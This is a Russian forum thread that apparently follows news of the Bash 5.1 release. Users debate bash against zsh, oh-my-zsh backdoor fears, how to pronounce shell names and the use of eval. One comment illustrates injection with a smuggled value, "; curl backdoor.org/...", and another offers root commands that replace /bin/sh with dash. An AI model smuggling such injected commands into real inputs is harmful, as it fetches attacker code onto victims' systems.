После двух лет разработки опубликована новая версия командного интерпретатора GNU Bash 5.1, используемого по умолчанию в большинстве дистрибутивов Linux. Одновременно сформирован релиз библиотеки readline 8.1, применяемой в bash для организации редактирования командной строки...Подробнее: https://www.opennet.dev/opennews/art.shtml?num=54214
Народ, не вброса ради... Что всё-таки лучше для заурядного хомы: bash или zsh?
Мне лично нравится oh-my-zsh с плагинами.
>oh-my-backdoorТак правильнее.
Пруфы бэкдоров будут или опять пук анонима в лужу?
Даже если его нет сейчас, что помешает его пушнуть в новом комите? Кто бы мог подумать что зверьцд можно и для скриптеров запилить!
https://github.com/ohmyzsh/ohmyzsh ты ведь просмотрел весь код и точно знаешь где бекдор, верно?
А ты ведь просмотрел весь код и точно знаешь, что там нет бэкдоров, верно?
Специально для альтернативно одарённых. Необходимость доказательства утверждения лежит на утверждающем. Доказывать отсутствие чего либо не нужно. Эти очевидные знания известны всем, кто знаком с понятием "элементарная логика".
Согласен - доказывать отсутствие мозгов у Энона не надо - ведь по его же словам "Доказывать отсутствие чего либо не нужно. Эти очевидные знания известны всем, кто знаком с понятием "элементарная логика".
Сразу видно альтернативно одарённое урри )
Ну, как бы, к ИБ это плохо относится. Там больше наоборот, нужно доказывать отсутствие.
Нет, нужно доказывать наличие. Тем более, что код открыт
тогда не нужны эти bash/zsh, да и линyпс не нужон.
в виндoвсе уже есть и цмд и поверсхeлл.
> тогда не нужны эти bash/zsh, да и линyпс не нужон.
> в виндoвсе уже есть и цмд и поверсхeлл.дохтурЛох не читака. дохтурЛох -- писака.
И этот человек рассказывает другим о логике...
Наличие бэкдоров означает, что они не отсутствуют. А отсутствие бэкдоров означает, что они не присутствуют.
Другими словами, наличие одного факта автоматически исключает другой, потому что они не могут существовать одновременно.
Поэтому доказывать наличие бэкдоров - это то же самое, что доказывать их отсутствие. Бэкдоры или есть, или их нет.
Ну и дятел.
Доказать наличие можно. Для этого надо продемонстрировать, что такой-то кусок делает то-то, чего от него совершенно не просили.
Доказать отсутствие принципиально невозможно. Смотрел, но не нашёл? А может, смотрел плохо? Может, квалификации не хватает? Нет, это не доказательство.
Поэтому, представь себе, ещё в римском праве был принцип, что бремя доказывания лежит на утверждающем что-то, а не на отрицающем.
Болванка :(
Тебе бы в гуманитарные податься, ну там, в юристы, к примеру. Там такой корм приветствуется.
Докажи отсутствие чайника на орбите за Марсом, дурачок.
Если подумать *по-настоящему* логично, то все крайне просто.Два пункта:
* у проекта ohmyzsh 1779 (на данный момент) контрибьюторов на github (постоянно активных, конечно меньше, но все же)... надо полагать либо они, эдакие злодеи, все сговорились, либо, если все-же отбросить неуместную теорию заговора, кто-то, надобно полагать, таки доложил бы, если б вдруг что нашлось? впрочем, не удивлюсь, если вы реальный сторонник теории заговора... (а уж COVID-19 так и вообще, наверное, проект ВОЗ, не? глобальный заговор, чтобы на вакцине заработать, ну или как там в ваших кругах посвященных в теории заговора излагают? :)))
* но уж если вашей же собственной логикой пользоваться, то для доказательства отсутсвия бэкдоров во всех "чистых" оболочках (ну или других, в пользу каких бы вы там отдали голос вместо zsh/ohmyzsh) - вы, я так понимаю, просмотрели сырцы оных и сами убедились, что в них то уж точно бэкдоров нету, я правильно все понял? :) потому что если не доверять, то уж не доверять никому, у вас же не двойные стандарты, в конце то концов? (хотя, опять таки, не удивлюсь... ой, ладно, поржал, в общем :)))
PowerShell (: ну или что там сейчас ещё для 10 сделали
cmd должно хватить всем
command.com
Батников и волков коммандер достаточно для всего:-))
Волков Командер знаю, а Батников Командер не встречал.
Можно поинтересоваться, у вас уже доллар в свободной продаже или нет? Если - да, то покупайте на всё рубли, он скоро повысится! =))
>Батников и волков коммандер достаточно для всего:-))Азбуки Морзе. Телеграфным ключом вбиваешь команды, по светодиоду/пищалке считываешь ответ. Даже экран и клавиатура излишни.
Очень многие не сидят. У большинства моих знакомых венды дома нет, многим и по работе с ней пересекаться не приходится.
Лично у меня она есть, только в виртуалке. Нужно для работы, да и игрушечки не все пока на протоне идут. В принципе cmd.exe вполне достаточно для её скриптования, павершел же ничем не удобнее баша.
зато на Lutris идут гораздо больше, чем на протоне (и даже есть интеграция с коллекцией steam)а играться в виртуальной машине - ну такое...
Да не помню, когда запускал виртуалку ради игрушечек, вроде лет 5 назад. Тогда ещё dxvk никаких не было, какие-то лютые баги лезли. Но вообще, в QEMU то с проброшенной картой лучше чем с вендой на хосте работает, в dxvk всё же процентов на 10 ниже фреймрейт.
> Да не помню, когда запускал виртуалку ради игрушечек, вроде лет 5 назад.
> Тогда ещё dxvk никаких не было, какие-то лютые баги лезли. Но
> вообще, в QEMU то с проброшенной картой лучше чем с вендой
> на хосте работает, в dxvk всё же процентов на 10 ниже
> фреймрейт.много возни/косяков при пробросе видекарты в QEMU (из личного опыта)?
хост был с запущенными Гуями или только терминал? (интересно как при этом хост и гость пользуют 1 устройство, если карта одна)интересная тема для меня просто, но пока что к изучению самогов пороса не дошёл
Для хоста нужна другая карта, у меня был отдельный монитор, но вроде можно и с одним как-то. KVM switch конечно самое очевидное, правда стоит денег. Самое главное, должно поддерживаться материнской платой, не все могут пробрасывать видеокарту.
У меня всё проще, тк вывод на другой монитор не обязателен, так что можно обойтись и просто установкой VNC на гостевую ОС и пользовать его в fullscreen режиме, а картинку гнать через хоста.интересно, про ограничения материнки на проброс упоминаний не слышал, пока что
(речь идёт о системе с встроенной в CPU видюхой для хоста + внешний GPU NVidia, например, для гостя)
К сожалению - недостаточно.
Многие вещи в батничках физически нельзя сделать. И в первую очередь - корректную экранизацию спецсимволов в многострочных данных.
Вообще-то это была просто шутка. :-(
У меня нет окошек уже лет эдак 5 от слова совсем. До этого была XP в виртуалке для одной хитрой софтины.
А у меня большой зоопарк виртуалок с вендой и пара с макосью (да-да, куэму умеет крутить на ..мм.. короче крутить в себе макось).
>ну или что там сейчас ещё для 10 сделалиWSL2 для вас сделали. Так что вам тоже на bash переходить.
ее и на венде особо не жалуют изза адских тормозов и переусложненности
Что значит лучше? Это просто инструмент. Он либо подходит под твои задачи либо нет. Если не подходит, ищешь другой.
Просто удобный молоток, а не розовая ржавая железка.
Зшизмы заточены на комфортный интерактив (и куча плагинов комплектом соответственно тоже) и баш на скрипты, в значительной мере избавленные внешних вызовов. Он легче зш, но некоторые поведение в частности с пайпами и его ридлайн довольно своеобразное. Вроде я столкнулся с несовместимыми отличиями в глобах, сетопт и хэштейблах, из-за чего от поддержки зш в качестве интерпретатора пришлось отказаться. А кроме того, зш есть не каждой системе, и баш есть везде, поэтому если и брать зш, то только "для души".
bash, если у тебя больше одного компа
Какая связь?
zsh нужно устанавливать самому
И что? На один комп поставить можно, а на второй уже неподъёмная задача?
Радуйся, что у тебя два «компа», а не зоопарк унаследованных серверов.
Речь, вроде, шла не обо мне и не о владельцах зоопарков, а о тех, у кого
> больше одного компаДва — это всё ещё больше одного, или я слишком давно не слежу за новостями арифметики?
P. S. Если ты админишь зоопарк серверов без какого бы то ни было SCM, это говорит не о твоей крутости, а о твоей профнепригодности.
> P. S. Если ты админишь зоопарк серверов без какого бы то ни было SCMТы не поверишь, но кроме админов существуют люди, которым на эти серваки тоже нужно ходить. И прав на установку всяких zsh/fish/oil-shell у них там нет безотносительно (не)использования SCM.
А баш сам себя устанавливает?
На macos bash нужно устанавливать самому, в отличие от zsh.
http://www.stargrave.org/ZSH-proscons.html
Тебе скрипты писать или просто дефолтный интерпретатор? Если первое, то лучше питона или руби ты не найдёшь. Если второе — оставайся на баш и не трогай, дабы не сломалось.
xonsh
fish
> Что всё-таки лучше для заурядного хомы: bash или zsh?bash достаточно даже разрабу (как разраб говорю). Когда тебе понадобится zsh, ты об этом узнаешь.
Для скриптов bash, для командной строки fish
Если стратежно к вопросу подходить, то изучать следует то, что позволит твоему опыту быть более переносимым. В данном случае - это bash.
Это sh, а не распиареный баш.
Кто до легковесных контейнеров доберется, тот и это поймет.
Это тех, где выкидывают баш ради 600 киль пространства, но впихивают питон ради -100 метров?
> выкидывают баш ради 600 кильв ~10 раз больше
> питон ради -100 метров
В ~10 раз меньше.
Если коротко: bash есть из коробки на каждом сервере, zsh если настроить то будет удобнее.
Не на каждом. Даже не на каждом сервере с линуксом. И bash, и zsh — это хорошо, но надо уметь пользоваться POSIX shell.
вроде в любом линаксе sh - это просто hardlink на bash
Даже из мейнстримных дистров общего назначения — не в любом. В Debian-based и некоторых других это dash. Ежели дистр специализированный и урезанный, в нём может быть busybox с ash.
И не хардлинк, а симлинк, кстати.
нет, не в любом
нет не надо
Нет.
Мне вот интересны индивидуумы, у которых всё удобно "если настроить". Небо синее, трава зелёная, если что-то настроить, оно будет удобнее.А bash настроить нельзя?
> А bash настроить нельзя?Так, как zsh, — нельзя.
Пользую zsh уже с десяток лет. ЕДИНСТВЕННОЕ, чего в нём мне не хватает - поддержки оператора "==". Но это только в скриптах.
bash.org
Программисты ставят zsh на десктоп, пожалуй, это хорошо. А на сервер ... мне лично лень городить его на каждом сервере, хватает и bash'a.
в принципе пофик, но для меня например решает автодополнение по Tab в zsh, в баше неудобно
Для скриптов командная оболочка POSIX, для интерактивной работы то, что установлено по умолчанию.
Во мне есть ubuntu 20.10, bash 5.0.17.
Что и как надо зделать чтобы установил bash 5.1?
Ничего. Жди обновления, не сри в систему.
Жди пакетов лучше. Либо переходи на роллинг дистры.
>Во мне есть ubuntu 20.10, bash 5.0.17.Терминатор?
Злой на вынь+цмд.екзе
Добрый на линь+бэш.
Жди ебилдов.
ставь dash как /bin/sh, он в разы быстрееsu
apt-get install dash
if [ -f /bin/dash ]
then
rm -f /bin/sh
ln -s /bin/dash /bin/sh
fi
sh
открой для себя chcon
> 5.1Вот она, программа здорового человека... ой, простите, человека без инвалидности!
Ты что, против инклюзива человеков с инвалидностью?
>> 5.1
> Вот она, программа здорового человека... ой, простите, человека без инвалидности!Гумонитарии они такие: пишут... ой, простите, рисуют код кисточками, а версии меняют через insert.
Правда называть инвалидами тех кто пишет более эфективный код это так по ЛГБтшно...
Чем ZSH хуже Баша?
Что же у Вас тут за собрание "лучше-хуже"?
Чем колбаса хуже сосиски?
Разные они, вот и всё. Что больше нравится - тем и пользуйтесь.
А как же "всё познаётся в сравнении"?
У zsh имя нечитаемое совершенно: "зш", ну что это? Как это читать?
Вообще все его читают как "зэ - эс - аш".
> Вообще все его читают как "зэ - эс - аш".Ну я о том же. Вынос мозга, а не название. гэцэцэ с гэдэбэ и то лучше.
>гэцэцэТяжкое наследие советской школы с повальным изучением немецкого вместо английского.
Так что "джи-си-си".
>гэдэбэ
"джи-ди-би", подсказывает Кэп.
>"зэ-эс-аш"
Хрена два. Общепринятое произношение - z[ee]sh / z[i]sh, т.е. "зиш". Баш и зиш, да.
>>гэцэцэ
> Тяжкое наследие советской школы с повальным изучением немецкого вместо английского.Во-первых, не немецкого, а латинского: эти произношения букв взяты из латинского алфавита. Ты в курсе, что советская школа на уроках математики учила, что в математике "икс" из латинского алфавита, а не из английского? Именно поэтому он "икс", а не "экс". А "игрек" -- "игрек", а не "уай". Эта традиция перекочевала и в постсоветское программирование, где "i" читается как "и", а "j" как "жи", а не как "джей".
Во-вторых, мне всегда было больно смотреть, как люди без этого образования произносят гэтэка, как "джи-ти-кей". Я тебе очень рекомендую прикоснуться к этому образованию, и освоить простые способы произносить все эти аббревиатуры. То есть, традиция уходит, мне кажется, и хрен-то с ней, но пока ещё люди понимают английские аббревиатуры прочитанные в этой традиции, а значит нет никаких разумных причин ломать свой язык. Если, конечно, ты не ставишь перед собой цели сломать традицию.
> Общепринятое произношение - z[ee]sh / z[i]sh, т.е. "зиш"
Если бы они дали ему имя "hujsgory", то тогда было бы очевиднее, что это читается как "зиш".
> Если бы они дали ему имя "hujsgory", то тогда было бы очевиднее,
> что это читается как "зиш".Воистину. Может, он из Австралии?
А нерусские обычно говорят так: https://www.youtube.com/watch?v=gGmBUfMaWMU
> А нерусские обычно говорят так: https://www.youtube.com/watch?v=gGmBUfMaWMUЛюбопытно. Он произносит 'z' как zee, а sh, как аббревиатуру -- ass eitch, -- то есть каждую букву по отдельности.
Я спросил у гугла zsh+pronunciation, нашёл https://www.reddit.com/r/zsh/comments/gzs3lw/how_do_you_pron.../ первый ответ: Zed-ess-aitch, or Z-shell.
Ну, да, всё верно: в зависимости от предпочтения - "зи эс эйч" или "зед эс эйч", а по-русски (на латыни) - "зэ эс аш". Других вариантов в жизни я не слылал. Ну и пишут "ЗСШ" иногда )
Вариант произнесения аббревиатуры как не как слова, а именно как аббревиатуры - "зи-эс-эйч" тоже распространен, да. А "zish" - от редукции "zee shell" (с учетом американского "zee" вместо чисто британского "zed").
> Во-первых, не немецкого, а латинскогоЛатинский отчасти - ещё более далекое наследие, дореволюционных гимназий.
> в математике "икс" из латинского алфавита, а не из английского?
Я тебе, кажется, писал, что английский в советской школе был не в чести, не? А математика - естественно, что в ней использовались _латинские_ буквы, и вовсе не из-за идеологических тараканов советской школы, а потому что латинский долгое время был международным языком науки и из него выросла существенная часть математической терминологии, Кэп.
> прикоснуться к этому образованию
Твое предложение запоздало примерно на тридцать пять лет и было реализовано вне всякой зависимости от него. И это образование таки предполагало не механическое перенесение "традиций", а более гибкие вещи - там, где казалось неудобопроизносимым, скажем, "си-ай-эй", _переводили_ слова, стоящие за аббревиатурой и уже с полным языковым правом говорили "цэ-эр-у".
> нет никаких разумных причин ломать свой язык
Произносить _английские_ аббревиатуры по-английски не означает "ломать свой язык", пурист ты наш патриотический. Как раз напротив, по-дурацки выглядит натянутое совой на пень чтение иноязычного по-посконному, лишь бы "русскость" сохранить.
"Пэхапэ", блин...
> Если бы они дали ему имя "hujsgory", то тогда было бы очевиднее, что это читается как "зиш".
Подсказываю - чтобы узнать _общепринятое_ произношение аббревиатуры, надо просто не полениться поинтересоваться, как это произносят _носители_ языка, в чьей среде эта аббревиатура была придумана, как обозначение продукта, придуманного в этой же среде. Вот, например, "sputnik" принято произносить по-русски, потому что спутник сделали русские. И у них никому не приходит в голову бомбить, а что ж это надо говорить как русские, а не "спатнайк".
>> нет никаких разумных причин ломать свой язык
> Произносить _английские_ аббревиатуры по-английски не означает "ломать свой язык", пурист
> ты наш патриотический. Как раз напротив, по-дурацки выглядит натянутое совой на
> пень чтение иноязычного по-посконному, лишь бы "русскость" сохранить.Не проецируй своих тараканов на меня. У меня нет цели сохранять традицию: ты можешь воевать за её сохранение или разрушение -- один хрен на мой век хватит. Она проживёт достаточно долго, чтобы меня понимали столько, сколько мне надо. А то, что по-дурацки выглядит, дык это дело наживное: если люди хотят тебя слушать, то они потерпят дурацкость, то есть это будет их проблемами, а не моими.
> Вот, например, "sputnik" принято произносить по-русски, потому что спутник сделали русские. И у них никому не приходит в голову бомбить, а что ж это надо говорить как русские, а не "спатнайк".
Кстати, о спутниках. Я не считаю, что английский удачно подходит к заимствованию. Он таким заимствованием уже убил в практически в ноль идею своей фонетической письменности: нет ни одного правила трансляции последовательности английских букв в произношение, которое бы работало хотя бы в 90% случаев. Никаких большевиков не предвидится у них, которые могли бы приказным порядком провести реформу языка, наведя в нём порядок.
Тут, мне кажется, ты совершаешь довольно распростанённую у русских ошибку: часть русских считает, что США -- пример для подражания и бездумно пытается копировать оттуда всё, другая часть считает, что США -- антипример, и пытается всё сделать наоборот. И те и другие -- долбонавты, идиоты и жертвы пропаганды: прежде чем занимать позицию о том, копировать ли что-то или "анти-копировать", надо посмотреть к чему это приводит в США, что происходит в других странах, и к чему приводит там, и на основании этого думать, как лучше делать у нас. И стоит ли вообще овчинка выделки: даже если можно сделать лучше, стоит ли это маргинальное лучше всех тех геморроев, которые нужны для реформы? Ну вот реально, ты сейчас развоевался против чтения английский букв, как латинских, и чё? Вот если твоя война будет победоносной, что от этого станет лучше? Зарплаты может вырастут?
Русский язык с заимствованием обходится довольно грамотно: надо взять слово и "обрусить" его по максимуму. Грамматикой ушибленные воюют за "кофе мужского рода", но это проблемы грамматики. Не, ну ты прикинь, была ведь идея реформы, с целью приблизить написание к произношению, типа писать "парашут", и что? Ушибленные грамматикой в школе против. Заимствованное слово полезно изменить так, чтобы оно имело бы предсказуемый род, чтобы оно склонялось по падежам, имело бы очевидную форму для множественного числа, и произносилось бы, не требуя от произносящего умения различать на слух английские фонемы.
> У меня нет цели сохранять традициюТогда нафига ты к ней отсылался?
> Вот если твоя война будет победоносной, что от этого станет лучше? Зарплаты может вырастут?
Ага, нахрена нужна культура - от неё что, масла на батоне больше станет?
> была ведь идея реформы, с целью приблизить написание к произношению, типа писать "парашут", и что?
> Ушибленные грамматикой в школе против.А, понятно, ты из тех, кто прямо вот так и говорит - "парашУт", "соНце", "доЖЖь" и т.п. Представь себе, мы так не говорим. Соответственно и писать так не будем :-)
> к чему приводит
..., например, прочтение аббревиатур как надо? Например, к готовности воспринимать иностранные языки и культурные феномены, не загоняя себя в яму моноязычия и монокультурности. Очень полезно в открытом мире, знаешь ли.
>> У меня нет цели сохранять традицию
> Тогда нафига ты к ней отсылался?Ты к ней отослался, начав говорить про то, что советский союз... немецкий язык... что-то там ещё... Я лишь подобрал слово, для того, чтобы как-то назвать то, о чём ты говоришь.
>> Вот если твоя война будет победоносной, что от этого станет лучше? Зарплаты может вырастут?
> Ага, нахрена нужна культура - от неё что, масла на батоне больше
> станет?При чём здесь культура? Или что ты имеешь в виду под словом "культура"? Есть разные определения, в том числе и биологическое.
>> была ведь идея реформы, с целью приблизить написание к произношению, типа писать "парашут", и что?
>> Ушибленные грамматикой в школе против.
> А, понятно, ты из тех, кто прямо вот так и говорит -
> "парашУт", "соНце", "доЖЖь" и т.п. Представь себе, мы так не говорим.Я согласен насчёт "дожжь" и "вожжь" -- так говорят только в Москве, но "парашут" и "сонце" говорят везде. Мне кажется, что ты не заморачивался слушать. Пробуй послушать, как люди говорят слово "яблоко". Запиши как ты произносишь -- вот реально, не читай пока дальше мою писанину, запусти audacity или достань из кармана смартфон, и скажи несколько раз слово "яблоко" под запись, прежде чем читать дальше -- и потом послушай: попробуй услышать там хоть одну 'о'. Если у тебя не о'кающее произношение, то там нет ни одного 'о', и ты произносишь это скорее как "яблэкэ". На деле там не 'э', а редуцированные 'о', но редуцированные так, что если тебе каким-то чудом удастся отвлечься от своего знания того, как пишется "яблоко" и после этого ты подумаешь как его писать, то скорее ты выберешь 'э', вместо обоих 'о'.
>> к чему приводит
> ..., например, прочтение аббревиатур как надо?Кому надо? Сорри, на столь тупой вопрос я не могу не ответить ещё более тупым вопросом (ты волен рассматривать его как риторический, он для тебя, а не для меня). Тут дело в том, что, действительно: _кому_ надо читать аббревиатуры как надо? Тебе? Шигорину? Васе Пупкину? Человечеству? Российской Федерации? Соединённым Штатам? Путину? Богу? Вселенной? Какое мне дело до всех этих людей?
> Например, к готовности воспринимать иностранные
> языки и культурные феномены, не загоняя себя в яму моноязычия и
> монокультурности. Очень полезно в открытом мире, знаешь ли.Во-первых, мы говорим не об иностранном языке, мы говорим о _русском_ языке. Мне кажется, тебе стоило бы научиться различать эти понятия в своей голове. Если русский язык заимствует слово "федерация", он не произносит его как "федерашн", он произносит его как "федерация". Слово, употребляемое в русской речи -- это заимствованное слово. И произноситься оно должно так, чтобы быть понятным для потребителей русской речи.
Во-вторых, да мне плевать, что там разные языки думают о "моноязычии" или "многокультурности". Если я скажу "гэцэцэ", ты поймёшь, а большего от тебя мне и не надо. При этом, американцы, я уверен, первыми согласятся со мной, потому как найти американца, который может в иностранный язык заметно сложнее, чем найти русского, который может в английский. Многокультурие с многоязычием и подражание иностранному -- это разные вещи.
Не, я соглашусь, это сложная тема. Это очень близко к границе между догматичным почтением иностранцев (свойственного русской культуре) и русофилией, поэтому для русского сложно на этой границе выдерживать рациональность мышления, не сваливаясь либо в штампы пропаганды, либо в отрицание штампов пропаганды. И тут я могу дать тебе бесплатный совет: вблизи этой границы думай о своей рубахе ближе к телу. Не о высоких материях, типа многовековой культуры, немецкого языка или многоязычия, а о своей рубахе. Я всегда так делаю, очень помогает взвешенно думать в самых сложных случаях.
>Если я скажу "гэцэцэ", ты поймёшь, а большего от тебя мне и не надоВидишь ли, проблема не только в том, что _понятно_. Так-то и высеры школоты капсами с ашипкой на ашипке в комментариях во ВКонтактике _понятны_. Но ты же не будешь топить за то, чтобы рассматривать их манеру письменного изъяснения как престижную норму, просто норму, широкую норму, вариации нормы? Или ты в принципе против самого понятия языковой нормы?
>мы говорим не об иностранном языке, мы говорим о _русском_ языке
Это пафос или ты просто не вкурил, о чем речь?
>Если русский язык заимствует слово "федерация", он не произносит его как "федерашн", он произносит его как "федерация"
...потому, что русский язык исторически заимствовал слово "федерация" из того языка, где "федерация" произносится как "федерация", а не как "федерашн". Заимствовал бы из английского - произносили бы "федерашн", немного адаптировав под русское произношение.
>>Если я скажу "гэцэцэ", ты поймёшь, а большего от тебя мне и не надо
> Видишь ли, проблема не только в том, что _понятно_. Так-то и высеры
> школоты капсами с ашипкой на ашипке в комментариях во ВКонтактике _понятны_.
> Но ты же не будешь топить за то, чтобы рассматривать их
> манеру письменного изъяснения как престижную норму, просто норму, широкую норму, вариации
> нормы? Или ты в принципе против самого понятия языковой нормы?Не могу сказать, чтобы у меня была бы какая-то оформленная позиция на счёт языковой нормы. Я не против, но и не за. И совершенно беспринципен в этом отношении.
>>мы говорим не об иностранном языке, мы говорим о _русском_ языке
> Это пафос или ты просто не вкурил, о чем речь?Не то и не другое. Ты путаешь английский с русским.
>>Если русский язык заимствует слово "федерация", он не произносит его как "федерашн", он произносит его как "федерация"
> ...потому, что русский язык исторически заимствовал слово "федерация" из того языка, где
> "федерация" произносится как "федерация", а не как "федерашн". Заимствовал бы из
> английского - произносили бы "федерашн", немного адаптировав под русское произношение.Не, ты ошибаешься. Русский язык переделывает слова, и слова с *tion, при заимствовании, самым заурядным образом превращаются в *ция. Это как раз та самая языковая норма, о которой ты выше говоришь.
> Не то и не другое. Ты путаешь английский с русским.(#Устало_поясняя) Т.е. ты не понял. Я не считаю, что человек, владеющий дефолтовым языком, непременно должен сводить все заимствования к дефолтовому.
> Не, ты ошибаешься. Русский язык переделывает слова, и слова с *tion, при заимствовании, самым заурядным образом превращаются в *ция.
Ошибаешься ты. Все зависит от того, как произносят заимствованное те, _кто_проводит_ заимствование. Если форсер нового слова преимущественно владеет латынью и немецким - его транскрипция будет одна, если французким - другая, если английским - третья. В 19 веке заимствования шли в научно-философской лексике по латинской и немецкой линии, в повседневно-бытовой - по французкой, а английский язык просто не имел того значения, которое имеет сейчас и англицизмы так или иначе подгонялись под "континентальный" стиль - отечественный историк не будет говорить о короле _Джордже_ или _Джеймсе_, только о _Георге_ или _Якове_. Но это не _норма_ русского языка в смысле обязательности, это норма только в смысле _привычки_ массы русскоязычных. Так-то если следовать _привычкам_, вон - "тся" и "ться" уже тысячи путают, нормой это объявлять? Ага, щаз.
>> Не то и не другое. Ты путаешь английский с русским.
> (#Устало_поясняя) Т.е. ты не понял. Я не считаю, что человек, владеющий дефолтовым
> языком, непременно должен сводить все заимствования к дефолтовому.Я не говорил ничего о том, что кто-то "непременно должен". Я говорил о том, что я свожу, мне это удобно, и я буду сводить.
>> Не, ты ошибаешься. Русский язык переделывает слова, и слова с *tion, при заимствовании, самым заурядным образом превращаются в *ция.
> Ошибаешься ты. Все зависит от того, как произносят заимствованное те, _кто_проводит_ заимствование.Ну-ка приведи-ка мне пример заимствованного слова с *tion, которое читается как -*шн. Хороший такой закрепившийся пример, попавший в словари. "Шн" сложно произносится для непривычного русского языка, а вот "ция" хорошо и прельстивно прокатывается по нему.
> я свожу, мне это удобно, и я буду сводитьВот с этого бы и начинал - "мне удобно, йо***пт!", а не "не надо путать русский с английским".
> Ну-ка приведи-ка мне пример заимствованного слова с *tion, которое читается как -*шн.
Некорректный вопрос. Потому что фактически все слова на *tion были _уже_ заимствованы в "доанглийский" период европеизации, когда происходило интенсивное обогащение русской лексики терминами, напрочь в ней отсутствующими.
> хорошо и прельстивно прокатывается по нему
...для тебя.
>> я свожу, мне это удобно, и я буду сводить
> Вот с этого бы и начинал - "мне удобно, йо***пт!", а не
> "не надо путать русский с английским".Но ты реально ведь путаешь, пытаясь объяснить мне, что я должен использовать английские названия букв в русском.
>> Ну-ка приведи-ка мне пример заимствованного слова с *tion, которое читается как -*шн.
> Некорректный вопрос. Потому что фактически все слова на *tion были _уже_ заимствованы
> в "доанглийский" период европеизации, когда происходило интенсивное обогащение русской
> лексики терминами, напрочь в ней отсутствующими.Это интенсивное обогащение происходит и сейчас. Весь IT состоит из слов, отсутствовавших в русском языке. В совке ещё пытались находить русские аналоги, но результат такой, что лучше бы они не пытались. А если тебе нужен пример, то глянь на слово "дефрагментация". Вот навскидку первое что пришло в голову.
>> хорошо и прельстивно прокатывается по нему
> ...для тебя.Для любого нативного русского, которой учился работать с этими звуками с момента рождения.
>английские названия букв в русскомНе-а. Английские названия _английских_ букв. Буквы "g" и "c" никак не русские, это не "г" и "ц" - так что выходит, что это ты путаешь английский с русским :-)
>нативного русского, которой учился работать с этими звуками с момента рождения
...точнее - которого _учили_ только этому и при этом не учили, что существуют другие языки, с которыми желательно уметь обращаться, конечно, не на уровне нэйтивов, но уж точно и не на уровне "форест, форест, форест, ин зе миддл оф поляна стейт Иван Сусанин". У русских исторически сложились в менталитете не просто набор последствий от отсутствия нормального изучения иностранных языков, но и к этому чуть ли не гордость за _нежелание_ их учить.
>Во-первых, не немецкого, а латинского:Томик "Писем тёмных людей" про средневековую латынь этому адеквату!
> Томик "Писем тёмных людей"Редкостное петросянство ниасиляторов томистской теологии. И да, средневековая латынь отличалась от классической - ничего удивительного, если язык используют, а не только любуются памятниками словесности на нём написанными, то он меняется.
>"зиш". Баш и зиш, да.А не пи...шь? ;)
В углу скребет мышь.
Прочитайте-ка ssh, пожалуйста
> Прочитайте-ка ssh, пожалуйстаДа, тоже гумно. Но альтернатив нету.
dropbear же
"Эс-эс-эйч", никаких проблем. Ну, разве что, может быть, "язык ломается" у тех, кому по каким-то причинам неприятно все иностранное.
зи-шэл
Баш вместе с линукс утилитками производительнее питона получается. И времени на код меньше уходит.
Только maximum дырявity, поскольку разделение данные-инструкции очень слабое - т.е. часто переменая может стать командой (если в неё запишут "; curl backdoor.org/...".
> часто переменая может стать командой (если в неё запишут "; curl backdoor.org/...".Это от криворукости. Разыменование переменной вне двойных кавычек бывает нужно крайне редко и только в тех случаях, когда ты сам эту переменную определил.
Зато eval нужен очень часто, и ничего ты с этим не сделаешь.
нет не нужен
> нет не нуженНаверно твои скрипты совершенно неконфигурируемая лапша из одного харкода, тогда конечно. При определённой сложности скриптов возникает желание предоставить пользователю возможность конфигурировать части логики в своём конфигурационном файле (а заодно избавиться от необходимости постоянно править хардкод). При том хочется его не насиловать его лишний раз, так что да, очень даже нужен.
А, ещё eval на хештейблы натравливать очень удобно. Хештейблы на порядки удобней альтернатив, особенно когда у тебя неизвестно число параметров. Держать десятки списков в памяти, чтобы отказаться от хэштейблов? Ну, удачи это потом сопровождать.
> Это от криворукости.Ага, заскриптуй там миллион кавычек в какой-нибудь ssh -t myserver.ass "sudo "wtf"; echo "shmuck $wtf""; if [[ ! -z $? ]]; then anus-cli --exec "select '$ohshit' insert into "$var" "some stupid string""fi" нувыпоняли.
В скрипте такого не пишут, в интерактиве одной строкой — тоже. Нет, мы не поняли, зачем это может быть нужно. Но тезис о криворукости ты подтвердил.
Ну, расскажи, чем вы отправляете команды на сервер? Ансибл-дством?
> eval нужен очень частоПишу много скриптов и со всей ответственностью могу сказать, что eval нужен крайне редко. Скорее всего, ты что-то не осилил и сильно усложняешь решение своих задач, если пользуешься им часто.
Редко не редко, примерно в 1 из 10 случаев без него никак. Или как, но в 1000 раз сложнее и запутанее. Другое дело, что можно и взять питон. И использовать eval уже в нём, ахаха! Ну там ast.literal_eval есть что всё же получше. Да и в целом eval в питоне нужен примерно никогда, а вот в баше без него просто никуда. Вообще все динамические хэштейблы, массивы, переменные это всё eval будет.
> примерно в 1 из 10 случаев без него никакУ меня другая статистика. Приведи пример, что ли. (Хешами и массивами не пользуюсь, ибо переносимость нужна.)
Да банально eval declare -A ep=($(mediainfo "${filename}" --Output='Video;%Encoded_Library_Settings%' | tr -d '[:space:]' | tr '/' ' ' | tr '(' '_' | tr ')' '_' | sed -r 's/(\S+)=(\S+)/[\1]=\2/g')) очень удобно и к чёрту переносимость.
Это не "к чёрту переносимость", это "к чёрту читаемость". Ты бы tr с sed подучил, этот ужас можно минимум на треть сократить.
tr '/' ' ' | tr '(' '_' | tr ')' '_' можно заменить на tr '/()' ' _'
можно вообще выкинуть tr, раз используешь sed, в нём же есть аналогичная команда y///
можно не париться удалением пробелов, башу пофиг, сколько их там
можно упростить операцию подстановки, правая часть ведь не меняется: 's/(\S+)=/[\1]=/g'
Зачем мне его сокращать? Ты всерьёз полагаешь, что так написано не намерено? Несколько разных операторов в седе не всегда можно объединить за один вызов, поэтому легковесный tr тут вполне уместен. И это более читаемо. Но вообще, конечно, речь совсем не о том тут.
> Ты всерьёз полагаешь, что так написано не намерено?Если строка такой длины появляется в коде на каком бы то ни было языке намеренно, это не говорит ничего хорошего об авторе сего кода.
> Несколько разных операторов в седе не всегда можно объединить за один вызов
Чёйта?
> И это более читаемо.
Нет.
>Если строка такой длины появляется в коде на каком бы то ни было языке намеренно, это не говорит ничего хорошего об авторе сего кода.Это моё дело, какой длины у меня строки, и ты лезешь не в своё дело. Это далеко не самая длинная строка и так более очевидно, что происходит, с первого взгляда. Вполне вероятно, это не конечный вариант.
>Чёйта?
А вот ВНЕЗАПНО, ахаха.
>Нет.
Да.
> ты лезешь не в своё делоТы первый полез не в свой дело, рассказывая всем, как им сильно нужен eval.
> А вот ВНЕЗАПНО, ахаха.
То есть слился, пруфов не будет. ОК.
